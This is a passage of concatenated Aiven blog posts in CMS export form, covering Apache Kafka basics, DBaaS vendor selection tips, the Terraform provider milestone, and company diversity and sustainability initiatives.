Topic 3 contains Application events.](https://cdn.sanity.io/images/sczeoy4w/production/870486dab3c1fb2d1f8a818d5cb96fa24c7eb4c8-1600x1096.png)\n\n\nThe data is continuously flowing into the topics, there are no pauses, no breaks. As long as our application is working, we have new users registering, new products being purchased.\n\nThe messages are ordered. The position of each record is identified by its sequence number, which is known as its **offset**.\n\nThe messages are also immutable, you can't change records later. This is completely logical. For example, let's say someone buys a product at our shop, and we record an event for this action. Later we can't go back in time and change that fact. If the customer decides to return the product - this is a new event. In this way we modify state of objects by sending new events into the topic.\n\nYou can see a topic as a queue, but here is a twist - in Apache Kafka, unlike in many other queue systems, the **consumed messages are not removed** from the queue and not destroyed. Instead, they can be read by multiple consumers multiple times if needed. In fact, this is a very common scenario, information from a topic will be used by multiple consuming applications for different needs, approaching data from different perspectives.\n\n### Brokers and partitions\n\nI already mentioned that Kafka cluster consists of multiple servers. These servers are called **brokers**. And topics are stored on them. Topics can have millions and possibly trillions of events. So we need to think how we're going to store these long sequences of records on the server.\n\nRemember I mentioned before that a topic is an abstract term. The topic itself is not a physical tangible thing stored as a whole on a single server.\nIt's probably neither reasonable nor feasible to keep a topic as a single piece of data on a single machine. Very probably one day the size of the topic will outgrow the server's memory. That's why it is very important that we scale horizontally, not vertically.\n\nTo achieve this we split a topic into multiple chunks stored across multiple machines. These chunks are called **partitions**.\nEach of the partitions is technically **a log of messages**. \n\n![A producer is sending Product related events, which get split up into 3 different partitions. Events for TVs and headphones are in partition 1, those for film and video game items in partition 2, and phones and wifi stations are in partition 3.](https://cdn.sanity.io/images/sczeoy4w/production/40b7bd841686ce166e1e718b5ca8daf543fe736d-1600x962.png)\n\nPartitions are self-sufficient entities. Each partition will independently maintain offset numbers for their own values. For us this means that the offsets make sense only within a single partition, across partitions there is no connection between those offsets.\n\nWhen I was saying before, that a producer writes to a topic, what I meant is that the producer writes to a set of partitions. And a consumer reads from the set of partitions.\n\nBehind the scenes our consumers and producers know how to work with multiple partitions.\n\n### Replications\n\nSo far we talked about topics, how they are divided into partitions and spread across brokers. Let's now dive one step deeper and talk about replications.\n\nTo remain highly available and prevent data loss, Apache Kafka replicates data across brokers. Replication happens at the partition level. In particular, each of the brokers will hold several partitions. Now if any of the brokers experience issues, we can take the data for the partition from a different location.\n\n![There are 3 brokers, A, B and C. Each has 2 partitions. The content of the partitions is different, except that Broker B and Broker C replicate one partition - the events in the replicated partition are the same in both brokers](https://cdn.sanity.io/images/sczeoy4w/production/f00bbb91d4a7637f72e62bc512bc6e6eb2d6376f-1600x634.png)\n\n\n### Apache Kafka connectors\n\nSo far we covered plenty of Apache Kafka concepts and building blocks. I wanted to share with you one more concept, a bit more advanced, but that can simplify connecting your applications to Apache Kafka.\n\nApache Kafka as we saw is a transmission mechanism. A very common scenario is when data is either already available in a source technology or needs to be pushed to a target destination. And this is where Apache Kafka Connect becomes very helpful. It is a tool to write connectors, that are used to integrate external data sources (such as PostgreSQL®, OpenSearch®, other databases and tools). These pre-built connectors can be used across multiple projects, and in fact, many of them are open sourced and supported by the community. Or if you encounter a connector that doesn't exist yet - you can create your own.\n\n### Next steps\n\nThis was quite a long journey and I hope you now understand better how Apache Kafka works. To dive deeper, check out these articles exploring detailed topics in the Kafka journey:\n- how you can create [a data generator to source data into Apache Kafka cluster](https://aiven.io/docs/products/kafka/howto/fake-sample-data.html), \n- how to use [kcat - a very handy utility to work with Apache Kafka from command line](https://aiven.io/docs/products/kafka/howto/kcat.html), \n- how to apply [Karapace schema registry to align the structure of data coming to Kafka cluster](https://aiven.io/blog/what-is-karapace),\n- how to use [Apache Kafka® to migrate across database technologies](https://aiven.io/developer/db-technology-migration-with-apache-kafka-and-kafka-connect).\n- or does [Apache Kafka® really preserve message ordering?](https://aiven.io/blog/kafka-real-ordering)\n- also have a look on [Apache Kafka® and the great database debate](https://aiven.io/blog/apache-kafka-and-the-great-database-debate)\n- and [Broker communication in Apache Kafka® 2.7 and beyond](https://aiven.io/blog/broker-communication-in-kafka-2-7-and-beyond)\n\nAlso see the earlier post, [What is Apache Kafka®](https://aiven.io/blog/what-is-apache-kafka), for more in depth information and resources.\n","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-c31a5beec3495239a39b77e78493b044ff95aacc-1567x844-png","_type":"reference"}},"publishedAt":"2022-07-05T00:00:00.000Z","related":[{"_key":"bfc6d407f8f5","_ref":"0d6dfe94-b3d8-4b4e-be11-228510ed43c9","_type":"reference"},{"_key":"28e5c51f70f5","_ref":"1AkIEGNslL6OW2zQtTlJJK","_type":"reference"}],"seo":{"metaDescription":"Learning Apache Kafka doesn’t have to be difficult. Read on to get a friendly explanation of the Apache Kafka fundamentals.","metaImage":{"alt":"","asset":{"_ref":"image-c31a5beec3495239a39b77e78493b044ff95aacc-1567x844-png","_type":"reference"}},"metaTitle":"Apache Kafka® simply explained"},"slug":{"_type":"slug","current":"/blog/kafka-simply-explained"},"subtitle":"Learning Apache Kafka doesn’t have to be difficult. Read on to get a friendly explanation of the Apache Kafka fundamentals.","title":"Apache Kafka® simply explained"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"345tLXQiuOhi4VoeHo3DES","_rev":"wguC7mbo0o2K8r1KhmaVlZ","_type":"post","_updatedAt":"2023-05-16T11:26:16Z","authors":[{"_key":"2Ryrx752TTp7pQatYrn0lw","_ref":"2Ryrx752TTp7pQatYrn0lw","_type":"reference"}],"body":" 👉👉👉 [Click to watch the \"5 Tips for choosing a DBaaS vendor\" video](https://youtu.be/_7j3GlVqI-M \"David Esposito: 5 Tips for choosing a DBaaS vendor\")\n\nWhen it comes to running managed infrastructure in the cloud, I've been on both sides of the table: As a platform architect, I worked with microservice applications doing streaming IT automation. And as a solutions architect, I've worked with a lot of different companies, tech stacks, and problem spaces picking the right tool for the job.\n\nHere are five tips on when and why you might want to work with a cloud based database service provider and how you can go about picking the right one.\n\n## 1. Have a strong opinion about vendor lock-in\nVendor lock-in is anything that keeps you on the platform longer than you want to be there. It may or may not be a concern, but you should have a strong opinion about it. \n\nPeople usually think about proprietary features or sticky functionality, like machine learning out of the box, or a fancy control panel, or some automated deployment mechanism. Fair enough, but it may or may not be really needed. You should definitely know if it's just a nice-to-have feature or if it's required for your success as a company. \n\nBut the second part that people don't often think about is the refactor cost of moving away from the platform you chose. Is it just a simple configuration change in one repository - or is it a slightly more expensive configuration change across 300 microservices? Or does it mean refactoring your code entirely? Keep that question in mind when you're picking a technology vendor. Lock-in isn't always about features. Lock-in is anything that keeps you from moving away.\n\n## 2. Define acceptable downtime\nYou really need to start by defining what acceptable downtime is for your end users and then work backwards from there. What type of foundation do you need to build on to create an infrastructure that can provide your end users with the desired uptime SLA?\n\nUsually uptime SLA is measured in nines.\n\nThree nines, or 99.9%, uptime means about 45 minutes of downtime per month. The next denomination is usually 99.95%. That's about 20 minutes of downtime per month. And then four nines, 99.99%, is usually the highest industry standard, with about four minutes of downtime per month. Some services try to get a lot closer to five nines. However, you really need to figure out a good balance between engineering effort for uptime guarantees and building revenue-generating features. \n\nWhen you're looking at databases as a service, read the fine print in the SLA agreement. A lot of services are very upfront about what they include and what is excluded from the uptime SLA.\n\nFor example, look at the maintenance windows and make sure that you know what is the expected maintenance window, if there's any downtime associated with that, and whether that's included in the SLA or not. Some cloud services provide an SLA that includes a 10-minute maintenance window, but they exclude that from the downtime SLA measurement.\n\nSo if you think about the 99.95% and 99.99%, the four nines of uptime is four minutes of downtime per month. If you add 10 minutes to that, it gets you a lot closer to the 99.95%. Keep that in mind when you're selecting databases and services.\n## 3. Know your limitations\nWhether you've been running Postgres in production for 10 years or you're starting brand new with Kafka, make sure that you have the right expertise in the equation to make yourself successful. And REALLY be honest with yourself.\n\nIt's always a shared responsibility matrix of who does what and who owns the DBA responsibilities. So there's a whole continuum from application level data schema design and query optimization all the way down to server patching and maintenance. Make sure that you split up the responsibilities. If you need help with the data schema design or query optimization, make sure that the vendor has professional services you can obtain to get that help, or bring in a third party.\n\nBut make sure that you don't build in anti-patterns when you're starting with the new technology. Four months down the road it's not that much fun to deal with refactoring and hot-deploying fixes to production.\n\n## 4. Research hidden costs\nIf you're comparing a managed service provider against a DIY deployment, usually servers are really cheap in the cloud. People are going to be the most expensive component of that deployment. So make sure you factor in what it's going to cost for hiring DBA expertise, to ensure that you have everything you need to be successful. Make sure you know what it's going to cost to have the ops team available at 3:00 AM on a Saturday, and factor that in the people cost.\n\nIf you're comparing a DIY deployment against a cloud managed service provider, always factor in the hidden costs of the cloud, like networking. For example, when you're shipping data across regions, it becomes very expensive. To egress between regions for your services, or to egress your cloud, it's charged per gigabyte per month. So if you're thinking that you're going to be operating in the terabyte or petabyte per month level, you should absolutely calculate that out upfront to know what it's going to cost. \n\nAnd the other factor is to make sure you know the cost of enterprise features like security and compliance cost. If you need to upgrade a tier to get SSO login, or if you need to upgrade to get compliance or even VPC peering, that has great implications on the overall cost.\n## 5. Plan for growth together\nAt the end of the year, just like you do with your customers, every company wants to grow their revenue. You are a customer of the managed service provider, and they're going to want to grow your account. 10%, 20%, or maybe 50%. What's that going to look like at the end of the year?\n\nIf you're on GCP or AWS, maybe that just looks like adopting new services or just growing normally with scale. So you may be locked into a cloud deployment, or you may be locked into certain regions to get discounts, but you're not locked into a single service. \n\nAlternatively, if you pick a vendor that specializes in a certain technology, like Elastic.co, Confluent for Kafka, or Redis Labs, you may be locked into that one service.\n\nAnd when they try to grow your account, that's either increased usage or adopting new use cases into that technology. If you're pushing new use cases into a technology, just make sure that it's the right tool for the job. \n\nFor example, Kafka may or may not be the right choice to use as a database. I've used it like that in the past for smaller data sets where I need low latency changes, distributed across a clustered system, but there's cases where Kafka definitely wasn't the right answer for a database. So make sure you pick the right tool for the job.\n## Final words\nAbove all, remember, it's a partnership. You're passionate about what you're building and what you're selling to your end users. Make sure that they are, too! They're there to support you and grow with you.\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nYou might also be interested in this APAC-centered webinar: [How cloud and open source technology help apac businesses thrive](https://www.aiven.fi/blog/how-cloud-and-open-source-technology-help-apac-businesses-thrive).\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-38320e2ee3bfd1e12a889d2c6312d02d0ff253cf-1567x844-png","_type":"reference"}},"publishedAt":"2021-05-12T00:00:00.000Z","seo":{"metaDescription":"In managed cloud infra, David Esposito has seen it all from both sides of the table. Now he offers his best 5 tips for selecting a service provider. ","metaImage":{"alt":"","asset":{"_ref":"image-38320e2ee3bfd1e12a889d2c6312d02d0ff253cf-1567x844-png","_type":"reference"}},"metaTitle":"5 tips for choosing a DBaaS vendor"},"slug":{"_type":"slug","current":"/blog/5-tips-for-choosing-a-dbaas-vendor"},"subtitle":"In managed cloud infra, David Esposito has seen it all from both sides of the table. Now he offers his best 5 tips for selecting a service provider. ","title":"5 tips for choosing a DBaaS vendor"} {"__i18n_lang":"en","_createdAt":"2023-04-03T12:19:12Z","_id":"712d0099-600c-4354-a2d6-80340a2fa031","_rev":"LlMsTfwmVHcho3tE1gqBaF","_type":"post","_updatedAt":"2023-06-19T08:31:34Z","authors":[{"_key":"cbc60e4610c1","_ref":"fa265a2a-831a-4862-a7d7-42065a008cc6","_type":"reference"},{"_key":"4847bed54e92","_ref":"1f5a7de4-2542-47c7-a37f-3205cc6fcdcf","_type":"reference"}],"body":"Throughout March, we’ve been excited to recognize some of the incredible women at Aiven. We are committed to recognizing women during the whole year but wanted to celebrate specifically in March to support International Women’s Day. \n\n## Our Crabs lifting each other\n\nOver the past few weeks, we introduced four inspirational women from our Cast on our [LinkedIn page](https://www.linkedin.com/company/aiven/). They all have their own unique story and gave valuable insights on empowering and lifting the women around us. These women demonstrate our core values of courage and openness not only in how they approach their work at Aiven but also in how they live their lives. \n\n[Nicole Ingham](https://www.linkedin.com/feed/update/urn:li:activity:7039139652062093312/) is a proud mom based in Florida, who works in our customer success team. Even though Nicole doesn't have a dedicated mentor, she is passionate about supporting others. She is currently actively working on a Mentorship Program here at Aiven to empower other colleagues. We asked Nicole about career advice for other women in tech. \"Our voices are our power; we can share our experiences and push for change. It's not the times in my career that I stayed silent that I am most proud of, but the ones that I spoke up,\" she replies.\n\n[Ting Ong](https://www.linkedin.com/posts/aiven_iwd-womansday-celebratewomen-activity-7041331625665650689-FkJ6/?utm_source=share\u0026utm_medium=member_desktop) is a mother and creative storyteller currently in Singapore, working as our Communications Director for APAC and EMEA regions. She believes, “Anyone can be your sponsor or your ally. They could be your peers, colleagues from other teams, functions, or even someone in senior management. But first, you need to be able to deliver and establish credibility in your role before anyone will be willing to support you. And when they do, you can be certain that they will help to amplify your work and accomplishments, raise your visibility, and eventually help you out in times of need.” \n\nWe also met [Phiona Basemera](https://www.linkedin.com/posts/aiven_iwd-womansday-celebratewomen-activity-7043863552775839744-7Wao?utm_source=share\u0026utm_medium=member_desktop), a Backend Software Engineer who swapped life in Uganda to work from our bustling Berlin location. Phiona believes that making the workplace open to different personalities and backgrounds will help tech organizations build a sustainable environment for women. “Sometimes the best ideas are not listened to because they are not the loudest. Managers should ensure they identify different character traits and find ways of making sure everyone feels heard’, she advises. \n\n[Anna Richardson](https://www.linkedin.com/feed/update/urn:li:activity:7046382382391697408) is an active mum to an energetic 4 year old and leads our people function as the VP of People. An Aussie living in Berlin, she built her HR experience from the ground up working in a variety of industries. Anna is constantly striving and working towards making Aiven an inclusive and safe environment for everyone to be able to show up as their authentic and true selves. Anna’s career advice for other women in tech.“ Don’t underestimate your own gut feeling about a situation. If something feels off or wrong, speak up to a trusted colleague or confidant. Be deliberate about building your networks within your company and recognise who are your allies and potential cheerleaders, because no one can succeed or build a successful career alone”, she says.\n\n## Aiven at FemTechConf \nTo showcase our commitment to enabling women at tech, this year Aiven was proud to sponsor [FemTechConf](https://www.femtechconf.com/) and all the incredible work it does to empower women in the tech community. FemTechConf is a community-driven organization celebrating and championing the success of women, transgender, and gender non-conforming people in the tech field. We had two incredible speakers from Aiven give talks; [Ewelina Grajko](https://www.linkedin.com/in/ewegra/), our Sustainability Lead, and [Olena Kutsenko](https://www.linkedin.com/in/olenakutsenko/), a Senior Developer Advocate. We’re already looking forward to next year's summit and the opportunity to learn and network with more women and gender-diverse people in the tech community.\n\n## Promoting a safe workplace \nWe are committed to supporting, uplifting and empowering our team members. “Lift” is one of our Employee Resource Groups (ERGs) at Aiven. The group is on a mission to cultivate an inclusive and safe environment that supports and encourages those who identify as women. In addition to educating and raising awareness on the gender equality challenges to our Cast, Lift advances the feeling of belonging and inclusion among all of our Crabs.\n\nWithout inclusion, the power of diversity remains untapped. We want Aiven to be a place of openness, ownership, and courage for all.\n\nLike what you see here? There's so much more to come as we take a peek under our shell and uncover Life at Aiven. \n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Get started for free\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e","categories":[{"_key":"be188be61ce6","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"},{"_key":"6b522501013e","_ref":"8fa4c846-517b-4a03-87e3-aa28ad26cce6","_type":"reference"},{"_key":"dd96e51e9759","_ref":"44deb165-f752-4b24-903a-c488e0b6012c","_type":"reference"},{"_key":"e779ccb54d6b","_ref":"f71aca49-b430-43f6-a9a2-17863e4c6a16","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Women of Aiven","asset":{"_ref":"image-4e92fbb696cbe9576fee49e5851e06f420d8f6ca-3133x1688-jpg","_type":"reference"}},"publishedAt":"2023-04-04T09:08:00.000Z","related":[{"_key":"f9cd8e61b4f2","_ref":"1jUV74q3GG1ikBS5TwdZLG","_type":"reference"},{"_key":"6c7ed01a06ed","_ref":"1Lw0M52l6Xc8ia5fdmn8AZ","_type":"reference"},{"_key":"010bb4533804","_ref":"2rcTIa01PnwrinqKa1L4O5","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"We celebrated Women's History Month in March, hearing valuable insights from our Cast on empowerment \u0026 allyship. Read on!","metaTitle":"Celebrating the Women of Aiven"},"slug":{"_type":"slug","current":"/blog/celebrating-the-women-of-aiven"},"subtitle":"We celebrated Women's History Month in March, hearing valuable insights from our Cast on empowerment \u0026 allyship. Read on!","title":"Celebrating the Women of Aiven"} {"__i18n_lang":"en","_createdAt":"2022-09-07T06:39:28Z","_id":"2MaVUBNixFPYxU03wR2sqc","_rev":"wguC7mbo0o2K8r1KhmaPBz","_type":"post","_updatedAt":"2023-06-14T10:09:05Z","authors":[{"_key":"6lMlSgJEYuohRrYw7zGkl8","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"}],"body":"One million is a milestone number. That’s why, when [Aiven Provider for Terraform](https://registry.terraform.io/providers/aiven/aiven/latest/docs \"Aiven Provider for Terraform | Terraform Registry\") reaches one million downloads on the public Terraform registry, it deserves a celebratory blog post.\n\n![terraform1m-star](//cdn.sanity.io/images/sczeoy4w/production/01790e717d7acdcf9f008e5a0d866d88ef3881a4-1000x500.png)\n\nTo better appreciate this milestone, let’s find out where the Aiven Terraform Provider came from, and its rise from humble beginnings to the awesome tool we offer today. Join us, and learn what use cases made us build the provider in the first place; discover some teasers of what’s coming in the roadmap; and find out how you can contribute to this open source tool. \n\n## How did we get here?\n\nFrom early on, the engineers at Aiven knew that providing automation tools for our customers was important. Our customers needed a tool to interact with Aiven services, to automatically provision and make changes to their data infrastructure and to tear down the infrastructure on demand. There were lots of automation tools already available, but Terraform stood out as the de-facto standard to build and manage infrastructure. \n\n(Besides a Terraform provider, Aiven also offers a purpose-built [Kubernetes operator](https://aiven.github.io/aiven-operator \"Aiven Kubernetes Operator | GitHub\"). If you’d like to learn more about when to choose Kubernetes and when to choose Terraform, [take a look at Kubernetes vs Terraform on the Aiven blog](https://aiven.io/blog/kubernetes-vs-terraform \"Kubernetes vs. Terraform | Aiven blog\").)\n\nThe [first commit](https://github.com/aiven/terraform-provider-aiven/commit/28024258e85abf744e6ffc0932e303d09934b74f) to the Aiven Provider for Terraform GitHub repository was on February 23, 2017 by [Jelmer Snoeck](https://github.com/jelmersnoeck \"Jelmer's GitHub profile\"). Since then, new and exciting features have been added to this provider - all with the same goal of making developers’ lives easier using the power of automation.\n\nThe [GA version of the Aiven Terraform Provider](https://github.com/aiven/terraform-provider-aiven/releases/tag/v1.0.0) was the first to support all Aiven resource types. Before the major release of version 3.0.0, customers had to use the same Terraform resource to provision all Aiven services and each service was identified by a flag \"service\\_type\". From version 3.0.0 of the provider, each service was identified by individual resource names in Terraform (for example, \"aiven\\_kafka\", \"aiven\\_pg\", etc). Based on the feedback from customers, more service specific documentation and examples were added. \n\nOur current customers have also discovered the benefits of using Terraform. For example, [NetSpyGlass](https://aiven.io/case-studies/aiven-cloud-helps-netspyglass \"NetSpyGlass partners with Aiven for simplicity and scale | Aiven case study\") uses it to simplify their service management in a complex environment based on [Aiven for Apache Kafka®](https://aiven.io/kafka \"Aiven for Apache Kafka product page\") and [PostgreSQL®](https://aiven.io/postgresql \"Aiven for PostgreSQL product page\").\n\n## What's next?\n\nIn the future, you can expect:\n\n- Faster updates for user configuration options--we’re automating it. \n- More documentation about processes, such as Aiven Provider for Terraform v2 to v3 migration guide. \n- Better testing coverage for the provider code, for example VPC peering test cases will cover all possible clouds and combinations.\n\n## Wrapping up\nWe can’t wait for the next milestone of Aiven Provider for Terraform and invite you to be part of this journey. If you are managing your Aiven services using the console or CLI, give [Aiven Provider for Terraform](https://registry.terraform.io/providers/aiven/aiven/latest/docs) a try! It's now well proven in production with more than 1 million downloads. \n\nThe tool itself is an [open-source project](https://github.com/aiven/terraform-provider-aiven) that is looking for both technical and documentation [contributions](https://github.com/aiven/terraform-provider-aiven#contributing). We look forward to your contribution. Please [reach out on Twitter](https://twitter.com/aiven_io \"Aiven on Twitter\") if you have any questions. \n\n*Thanks to Aleksander Zaruczewski, Ivan Savciuc, and Michael Hoffmann for helping to put this post together!*\n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily content about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nStruggling with the management of your data infrastucture? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"2qto4I26D9dTmL2jF7YDqZ","_ref":"2qto4I26D9dTmL2jF7YDqZ","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-8fcc6ad9c388c6f00fc66c14a798ff775ba16eb0-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-02T00:00:00.000Z","seo":{"metaDescription":"Aiven has made life easier for Terraform users since 2017. Join us on a brief stroll down memory lane and learn how and why we got here.","metaImage":{"alt":"","asset":{"_ref":"image-8fcc6ad9c388c6f00fc66c14a798ff775ba16eb0-1567x844-png","_type":"reference"}},"metaTitle":"Aiven Provider for Terraform hits 1M downloads"},"slug":{"_type":"slug","current":"/blog/aiven-provider-for-Terraform-hits-1M-downloads"},"subtitle":"Aiven has made life easier for Terraform users since 2017. Join us on a brief stroll down memory lane and learn how and why we got here.","title":"Aiven Provider for Terraform hits 1M downloads"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"1jUV74q3GG1ikBS5TwdZLG","_rev":"rV9BZDYEBgQp95tIyZxyTO","_type":"post","_updatedAt":"2023-06-08T07:57:47Z","authors":[{"_key":"54fMhjUQokPWcDkpCqDl2l","_ref":"54fMhjUQokPWcDkpCqDl2l","_type":"reference"},{"_key":"5fYUWMm3ZG5VcjiuAbRcvr","_ref":"5fYUWMm3ZG5VcjiuAbRcvr","_type":"reference"},{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"The arrival of June marks the start of Pride Month. We at Aiven are excited for this opportunity to celebrate the diversity of the LGBTQ+ community and raise awareness on issues around equality. \n\nThis year, Aiven is proud to announce a partnership with [Helsinki Pride](https://pride.fi/en/) and celebrate the freedom of people to be themselves.\n\n“The Pride movement is all about celebrating who we are,” says Oskari Saarenmaa, CEO. “ At Aiven, we value our whole cast exactly for being who they are, and we're committed to making them feel safe and welcome.\"\n\n## It's important for Aiven to support the LGBTQ+ community\n\nWith our values top of mind, we openly stand firm in our belief towards creating a visibly inclusive workplace. \n\nWe have an active community at Aiven, Proud Crabs, and we want to support them by creating a diverse and inclusive workplace. \n\n“I am proud of Aiven’s commitment to building a culture of belonging and inclusivity, not just during Pride, but in the 11 months that follow,” says Alessandro Barone, Proud Crabs community co-lead.\n\nThere is still work to do: extensive [research from FRA](https://fra.europa.eu/en/publication/2020/eu-lgbti-survey-results) shows that a considerable amount of the LGBTQ+ community face discrimination at work or cannot be open about their lives or families.\n\nWe want to do our part in making tech a more inclusive industry. In our [Sustainability and Social Impact program](https://aiven.io/blog/sustainability-and-social-impact-commitment) we commit to making Aiven open and accessible to everyone.\n\n## Aiven promotes a safe workplace\n\nWe are launching our team resource groups and support them on a variety of topics. Proud Crabs is our first community, providing a safe space for Aiven's LGBTQ+ community members and allies to connect, share views, knowledge and interests. \n\nWe will provide training for our managers on issues faced by the LGBTQ+ community. They will learn about biases, microaggressions and other negative experiences that make workplaces uncomfortable, and how to prevent them. Aiven empowers and supports all team members in creating a workplace where everyone belongs. \n\nWe want to make sure that candidates from underrepresented groups find us, and we find them. \n\nWe measure how we are doing in terms of diversity and inclusion. This way we can take meaningful action based on data and improve. Ultimately, we're working towards creating an environment where everyone can be their authentic selves. \n\nAll things have a beginning, and these steps mark a humble start to our journey.\n\n(P.S. In case you were wondering - a 'cast' is the name for a group of crabs.)\n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-e10215a88edfaa159d863b6eb68e70ce62306468-1567x844-png","_type":"reference"}},"publishedAt":"2022-06-08T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven is going full Pride this year! Read about our initiatives and find out how we're creating a safe, inclusive place for our whole cast.","metaImage":{"alt":"","asset":{"_ref":"image-e10215a88edfaa159d863b6eb68e70ce62306468-1567x844-png","_type":"reference"}},"metaTitle":"Aiven celebrates diversity | Read about the initiatives"},"slug":{"_type":"slug","current":"/blog/celebrating-our-colorful-cast"},"subtitle":"Aiven is going full Pride this year! Read about our initiatives and find out how we're creating a safe, inclusive place for our whole cast.","title":"Celebrating our colorful cast"} {"__i18n_lang":"en","_createdAt":"2022-11-15T11:10:40Z","_id":"258bc7bc-786c-445f-83e5-87502edbfef1","_rev":"v0cQAWzuhXdzXIalMlJSm6","_type":"post","_updatedAt":"2023-06-22T13:50:23Z","authors":[{"_key":"7e1e59b85d15","_ref":"58912853-4629-4f99-97ce-d0b36b387f57","_type":"reference"}],"body":"After our Series D funding round, we published our [Sustainability and Social Impact Commitment](https://aiven.io/blog/sustainability-and-social-impact-commitment \"Aiven's sustainability and social impact commitment\") and took the first steps in developing a long-term strategy that will allow us to fulfill our goal of being a sustainable data infrastructure provider. \n\nFor any company, reaching sustainability goals is a long process. Right from the start we want to be transparent about that process and the steps we’re taking on the journey. We know the path might sometimes be hard, but we believe that by making this information open we hope to encourage other companies to take similar steps.\n\n- [Our first steps](#our-first-steps)\n- [Building diversity, equity, inclusion and belonging](#building-diversity-equity-inclusion-and-belonging)\n- [Driving change through social impact](#driving-change-through-social-impact)\n- [Growing the team](#growing-the-team)\n- [Next steps…](#next-steps)\n- [Wrapping up](#wrapping-up)\n\n## Our first steps\n\nRight now we’re focusing our efforts on understanding and measuring Aiven’s carbon footprint, and to achieve that we’ve implemented Plan A’s [carbon accounting software](https://plana.earth/ \"Plan A's carbon accounting software\") to start mapping it out.\n\nAs we’re still in the early days of utilizing the software, we’re aware that we face some significant challenges in interpreting the data. For example, this data only currently represents our Finnish operations, so we’re getting an incomplete picture. \n\n\n![Emissions measurement graphs at Aiven](https://cdn.sanity.io/images/sczeoy4w/production/24a68697b380851a85face173086100bebca7b8a-1212x424.jpg)\n\n\nNevertheless, one thing is immediately clear: business travel to in-person events is by far the most significant source of emissions, with visibly identifiable peaks. Our Crab Week offsite in April, and in September conference season was in full swing, including our Uptime conference in Amsterdam. But is this the whole story? \n\nAt the moment, our data collection is far from complete. We still have to add non-travel emissions from Crab Week, and all the collected data requires validation to make sure we are not double counting something. For example, the screenshot above shows double counting for Uptime in September – so there is still plenty of work to be done.\n\n## Building diversity, equity, inclusion and belonging\n\nOne of the first steps from our DEI team has been to revise and update our Code of Conduct to clarify expected behaviors and include more information about diversity and inclusion. We want to make sure we have a well-defined, shared understanding of the principles everyone at Aiven commits to. This will help us develop further instructions and strategies for communications and improvements. \n\nAiven also carried out a DEI audit consisting of a survey and interviews in the summer to get a better understanding of where we are with our key concepts of diversity, equity, inclusion and belonging throughout our team, and to discover the pain points we’re facing. We’ll be using the results from that audit to develop a DEI strategy by the end of the year.\n\nLike many tech companies we face challenges in gender diversity for technical roles, and we know there is room for improvement in many other areas. We believe that one way to learn and improve is through participation in community events so we can share knowledge. This autumn we participated at [Current](https://2022.currentevent.io/website/39543/welcome) in diversity meetups, and at [PGConf](https://aiven.io/blog/pg-conf-eu-2022-in-a-nutshell) where we sponsored a breakfast organized by [Postgres Women](https://twitter.com/PostgresWomen).\n\nOne of our biggest highlights was our very own [Uptime](https://uptime.aiven.io/) conference, held in September in Amsterdam. For this developer-focused event, we created and sponsored a diversity scholarship so that people from different backgrounds around the world could attend and participate. We had 12 applicants taking part in the scholarship program, and enjoying the broad range of keynotes, presentations, and networking opportunities to discuss open source data 